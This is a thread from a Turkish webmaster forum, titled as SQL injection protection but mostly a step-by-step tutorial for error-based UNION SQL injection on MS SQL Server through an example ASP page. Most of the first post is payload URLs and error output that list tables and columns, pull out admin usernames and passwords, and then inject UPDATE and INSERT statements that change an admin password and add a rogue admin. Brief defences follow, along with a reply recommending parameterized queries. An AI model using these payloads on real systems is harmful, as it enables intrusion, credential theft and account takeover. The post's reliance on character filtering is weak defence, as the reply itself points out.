İyinet'e Hoşgeldiniz!

Türkiye'nin En Eski Webmaster Forum'una Hemen Kayıt Olun!

Kayıt Ol!

SQL Injectıon Korunma Yöntemleri

Raqe

1
İyinet Üyesi
Katılım
4 Mayıs 2010
Mesajlar
615
Reaction score
8
Konum
İstanbul/Pendik
MS SQL Server üzerinde SQL injection yöntemlerini ve saldırılara karşı korunma yollarını inceliyoruz.

6 ODBC hata mesajıyla veritabanındaki tablo adlarını almak

MS SQL Server tarafından oluşturulan ODBC hata mesajlarını kullanarak neredeyse her türlü bilgiye ulaşmanız mümkün. Örnek olarak şöyle bir sayfa kullanıldığını düşünün:


CODE
http://www.example.com/index.asp?id=10



Adresteki 10 sayısının yanına, veritabanına ulaşabileceğimiz birkaç sorgu ekleyelim:


CODE
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–



INFORMATION_SCHEMA.TABLES sunucuda kayıtlı tüm tabloların listesini tutan bir sistem tablosudur. TABLE_NAME ise bu sistem tablosundaki bir değişkendir. “SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–” sorgusu bize veritabanındaki ilk tablonun adını dönecek. Tablonun adını 10 sayısıyla birleştirmeye -UNION- çalışınca ise şöyle bir hata mesajıyla karşılaşacağız, ki bu bize istediğimiz bilgiyi veriyor olacak:


CODE
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1‘ to a column of data type int.
/index.asp, line 5



Bu hata mesajı bize saf saf ilk tablonun table1 olduğunu söyledi. Sonraki tablonun adını almak için (1), veya içerisinde login geçen bir tabloyu bulmak için (2) şunları deneyebilirsiniz:


CODE
(1) http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’table1′)–

(2) http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25‘–

Sonuç:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login‘ to a column of data type int.
/index.asp, line 5



6.1 Tablonun değişkenlerine ulaşmak


Bunun için bir başka kullanışlı sistem tablosu olan INFORMATION_SCHEMA.COLUMNS tablosunu kullanacağız.


CODE
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login‘–

Sonuç:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id‘ to a column of data type int.
/index.asp, line 5

Sonraki değişken için:

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login‘ WHERE COLUMN_NAME NOT IN (’login_id’)–

Sonuç:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name‘ to a column of data type int.
/index.asp, line 5



Düşünün ki yukarıdaki durumu tekrarlayıp diğer değişkenleri de password ve details olarak bulduk. Tüm değişkenleri elde ettiğimizde sorgumuza şöyle bir cevap alırız:


CODE
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login‘ WHERE COLUMN_NAME NOT IN (’login_id’,'login_name’,'password’,'details’)–

Sonuç:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5



6.2 Tablo adını ve değişkenlerini öğrendikten sonra istediğiniz bilgiye ulaşmak için


CODE
admin_login tablosunu ve değişkenlerini öğrendik. Şimdi sıra kullanıcı adlarını ve şifreleri öğrenmeye geldi.

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–

Sonuç:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo‘ to a column of data type int.
/index.asp, line 5



Görüyoruz ki tabloda neo isimli bir admin kayıtlı. Son olarak şifresini istiyoruz:


CODE
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo‘–

Sonuç:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix‘ to a column of data type int.
/index.asp, line 5



6.3 Nümerik bir bilgiye nasıl ulaşırım?

Dikkat ettiyseniz yukarıda bir string’i bir integer’la UNION ederek hata mesajları çıkarmaya çalıştık. Ya istediğimiz bilgi bir sayıysa? Düşünün ki tablomuzda trinity kullanıcısının şifresi 31173. Bu durumda aşağıdaki sorgu sorunsuz bir UNION operasyonu yapacak, yani işimize yarayacak bir ODBC hatası yollamayacaktır.


CODE
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity‘–



Yukarıda + işaretiyle (%2b) şifremizi “morpheus” string’iyle birleştirip integer’a çevirmeye çalışıyoruz. Bu mantıklı(!) işlemin sonucunda da istediğimiz sonucu alıyoruz:


CODE
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus‘ to a column of data type int.
/index.asp, line 5



7 Veritabanını güncellemek, veri eklemek

Tablo isimlerini ve değişkenlerini öğrendikten sonra tabloları güncellemek, yeni veriler eklemek de tabii ki mümkün. Örnek olarak yöneticimiz neo‘nun şifresini değiştirip, sisteme yeni bir admin ekleyelim:


CODE
http://www.example.com/index.asp?id=10; UPDATE ‘admin_login‘ SET ‘password‘ = ‘newpas5‘ WHERE login_name=’neo‘–

http://www.example.com/index.asp?id=10; INSERT INTO ‘admin_login‘ (’login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2‘,’newpas5‘,’NA’)–



8 SQL Injection’dan Korunma Yolları

Bunun için aslında çok basit bir yol var:

Kullanıcıdan aldığınız input’larda,
URL’lerdeki parametrelerde,
Cookie’lerdeki değerlerde bulunan

tek tırnak (‘), çift tırnak (“), taksim (/), bölü (\), noktalı virgül (FPRIVATE "TYPE=PICT;ALT=wink.gif"
boş karakter (lisanssız), carriage return (CG), yeni satır (NL), vb. karakterleri filtreleyin.

Sayılar için SQL sorgusuna eklemeden önce integer’a çevirin. Veya ISNUMERIC fonksiyonunu kullanarak gerçekten integer olup olmadığını kontrol edin.

Kullanmadığınız stored procedure’leri kaldırın: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask, …
 

DincerAydogdu

0
İyinet Üyesi
Onaylı Üye
Katılım
15 Nisan 2005
Mesajlar
1,741
Reaction score
29
Konum
Live in .NET
Daha kısa ve garantili olarak .NET FW kullanıyorsanuz SqlParameter ya da 3.5 üstü kullanıyorsanız LinQ kullanın.

Her ikisi de tip güdümlü çalıştığı için siz sona ne eklerseniz ekleyin eklediğiniz şekilde SQL'e yansıyacak şekilde otomatik olarak uyarlanır ve uyumsuz ise izin vermez.

Hala asp kullanabiliyorsanız :))) o zaman bu şekilde %100 garantisi olmayan manual çözümlere yönelmelisiniz.
 

Türkiye’nin ilk webmaster forum sitesi iyinet.com'da forum üyeleri tarafından yapılan tüm paylaşımlardan; Türk Ceza Kanunu’nun 20. Maddesinin, 5651 Sayılı Kanununun 4. maddesinin 2. fıkrasına göre, paylaşım yapan üyeler sorumludur.

Backlink ve Tanıtım Yazısı için iletişime geçmek için Skype Adresimiz: .cid.1580508955483fe5

Üst